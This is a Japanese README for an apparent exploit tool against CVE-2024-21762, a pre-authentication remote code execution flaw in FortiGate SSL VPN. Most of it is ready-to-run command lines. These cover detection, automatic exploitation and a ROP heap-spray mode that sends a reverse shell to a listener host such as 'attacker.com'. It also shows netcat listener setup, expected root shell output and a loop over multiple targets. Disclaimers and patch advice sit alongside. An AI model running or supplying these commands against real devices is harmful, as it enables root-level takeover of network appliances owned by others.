
CVE-2024-21762の事前認証RCEをFortiGate SSL VPNで検出・悪用するツールで、ベースライン検証、自動悪用、ROPヒープスプレーモード、リバースシェルを備えています。
CVE-2024-21762 の検出および悪用ツール - FortiGate SSL VPN の重大な脆弱性
⚠️ 法的注意: このツールは許可されたテスト環境でのみ使用してください。許可されていないシステムでの使用は違法であり、深刻な法的結果を招く可能性があります。
CVE-2024-21762 は、FortiGate SSL VPN コンポーネントにおける重大な脆弱性であり、認証前のリモートコード実行 (RCE) を可能にします。この欠陥は、Transfer-Encoding chunked を使用した HTTP リクエストの脆弱なパース処理に存在し、sslvpnd コンポーネントでの out-of-bounds write を引き起こします。
| 属性 | 情報 |
|---|---|
| CVE ID | CVE-2024-21762 |
| 脆弱性 | sslvpnd における Out-of-bounds write |
| タイプ | 認証前のリモートコード実行 (RCE) |
| CVSS Score | 9.8 (Critical) |
| 影響を受けるコンポーネント | FortiOS SSL VPN |
| 脆弱なバージョン | 7.0.0-7.0.13, 7.2.0-7.2.6, 7.4.0-7.4.2 |
✅ 脆弱性の検出 - 不正なリクエストにより脆弱な FortiGate を特定
✅ ベースラインテスト - テスト前にサーバーの通常の動作を確認
✅ 自動モード - 脆弱性を自動で検出し悪用
✅ リバースシェル - IP/ポート設定による bash リバースシェルをサポート
✅ 入力検証 - 悪用前に IP とポートを検証
✅ 詳細レポート - 修正推奨事項を含むレポートを生成
✅ 堅牢なエラー処理 - 安全な接続と例外の管理
# リポジトリをクローン
git clone https://github.com/seu-usuario/CVE-2024-21762.git
cd CVE-2024-21762
# 構文を確認
python -m py_compile EXPLOIT.py
# スクリプトを実行
python EXPLOIT.py -h
# 簡単な検出テスト
python EXPLOIT.py 192.168.1.100
# カスタムポート
python EXPLOIT.py 192.168.1.100 -p 8443
# タイムアウト増加
python EXPLOIT.py 192.168.1.100 --timeout 20
# 事前設定済みリバースシェルによる自動モード
python EXPLOIT.py 192.168.1.100 --auto -li 10.0.0.5 -lp 4444
# 資格情報なしの自動モード (対話的に要求)
python EXPLOIT.py 192.168.1.100 --auto
ROP モードは、特定のターゲット (FortiOS 7.4.2) に対してヒープスプレーを用いた2段階の悪用を実装します:
# Node.js リバースシェルを使用した ROP 悪用
python EXPLOIT.py 192.168.1.100 --rop -li 10.0.0.5 -lp 4242
# カスタムポート
python EXPLOIT.py 192.168.1.100 -p 8443 --rop -li attacker.com -lp 4242
# 低速ターゲット向けタイムアウト増加
python EXPLOIT.py 192.168.1.100 --rop -li 192.168.1.50 -lp 9999 --timeout 30
ROP 悪用フロー:
リスニングサーバー側:
# Linux/Mac/Windows (netcat 使用)
nc -lnvp 4242
# 期待される出力:
# listening on [any] 4242 ...
# connect to [10.0.0.5] from (UNKNOWN) [192.168.1.100] 54321
# id
# uid=0(root) gid=0(root) groups=0(root)
⚠️ 重要な注意: ROP モードは FortiOS 7.4.2.F-build2571 向けに最適化されています。ハードコードされた ROP チェーンのオフセットのため、他のバージョンでは動作しない可能性があります。
# リバースシェルペイロードを送信
python EXPLOIT.py 192.168.1.100 -li 192.168.1.50 -lp 9999
# 複数オプションの組み合わせ
python EXPLOIT.py -t target.com -p 8443 --auto -li attacker.com -lp 5555 --timeout 15
位置引数:
target テスト対象のホスト名または IP
オプション引数:
-h, --help このヘルプメッセージを表示
-t, --target HOSTNAME ターゲットのホスト名または IP (代替)
-p, --port PORT SSL VPN ポート (デフォルト: 443)
--timeout SECONDS タイムアウト (秒) (デフォルト: 10)
-li, --lhost IP リバースシェルを受信するローカル IP
-lp, --lport PORT リバースシェルを受信するローカルポート
--no-baseline ベースラインテストをスキップ
--auto 自動モード: 検出して悪用
--rop ROP モード: ヒープスプレーを使用した高度な悪用 (FortiOS 7.4.2)
-v, --version スクリプトのバージョンを表示
python EXPLOIT.py 192.168.1.100
脆弱性がある場合の期待される出力:
[+] Iniciando teste de vulnerabilidade...
[!] VULNERÁVEL DETECTADO!
[!] Servidor encerrou conexão abruptamente
[!] STATUS: VULNERÁVEL
python EXPLOIT.py 192.168.1.100 --auto -li 192.168.1.50 -lp 4444
リスニングサーバー側:
# Linux/Mac
nc -lnvp 4444
# Windows
ncat -lnvp 4444
for target in 192.168.1.100 192.168.1.101 192.168.1.102; do
python EXPLOIT.py $target --timeout 15
done
このツールは、以下のいずれかの動作を検出した場合、ターゲットを脆弱と判断します:
FortiOS を修正バージョンに更新:
一時的な隔離:
監視:
# FortiOS バージョンを確認
python EXPLOIT.py seu-fortinet.com
結果に「NÃO VULNERÁVEL」と表示されれば、パッチが正常に適用されています。
CVE-2024-21762/
├── EXPLOIT.py # メインの悪用スクリプト
├── README.md # このファイル
├── LICENSE # MIT ライセンス
└── .gitignore # Git 設定
Q: Windows 環境で使用できますか? A: はい、Python スクリプトは Windows でも動作しますが、標準の bash リバースシェルは機能しません。カスタムペイロードが必要になります。
Q: 悪用が成功したかどうかを確認するには? A: リバースシェルを待ち受けるマシン (nc/ncat) を確認してください。スクリプトは進行状況を示すメッセージを表示します。
Q: 複数のターゲットに対して使用できますか? A: はい、bash/PowerShell スクリプトを作成して IP リストを反復処理できます。
Q: 通常モードと自動モードの違いは? A: 自動モードは脆弱性が見つかった場合に自動的に悪用します。通常モードは検出のみ行います。
バグを見つけた場合や提案がある場合は、Issue を開くかプルリクエストを送ってください!
このプロジェクトは MIT ライセンスの下でライセンスされています。詳細は LICENSE ファイルを参照してください。
このソフトウェアは、研究および許可されたテスト目的のために「現状のまま」提供されます。作者は以下について責任を負いません:
責任を持って、許可された環境でのみ使用してください
サイバーセキュリティの教育および研究目的で開発されました。
⚠️ 注意: このツールは、自分が所有するか、テストする明示的な許可があるシステムでのみ使用してください。許可のない悪用は犯罪です。
| バージョン | 検出 | ROP モード | ステータス |
|---|
| FortiOS 7.0.0 - 7.0.13 | ✅ はい | ❌ いいえ | ⚠️ 脆弱 |
| FortiOS 7.2.0 - 7.2.6 | ✅ はい | ❌ いいえ | ⚠️ 脆弱 |
| FortiOS 7.4.0 - 7.4.1 | ✅ はい | ❌ いいえ | ⚠️ 脆弱 |
| FortiOS 7.4.2 (build≤2571) | ✅ はい | ✅ はい | ⚠️ 脆弱 |
| FortiOS 7.4.3+ | ❌ いいえ | ❌ いいえ | ✅ 修正済み |
| メソッド | 説明 |
|---|
test_vulnerability() | 不正なリクエストを送信して脆弱性をテスト |
exploit(lhost, lport) | リバースシェルで脆弱性を悪用 |
test_baseline() | サーバーの通常の動作をテスト |
generate_report() | ステータスを含む最終レポートを生成 |
_create_ssl_context() | 再利用可能な SSL コンテキストを作成 |
_create_socket_connection() | 安全な TLS 接続を作成 |
_close_socket(sock) | ソケットを安全に閉じる |
_is_valid_ip(ip_str) | IP 形式を検証 |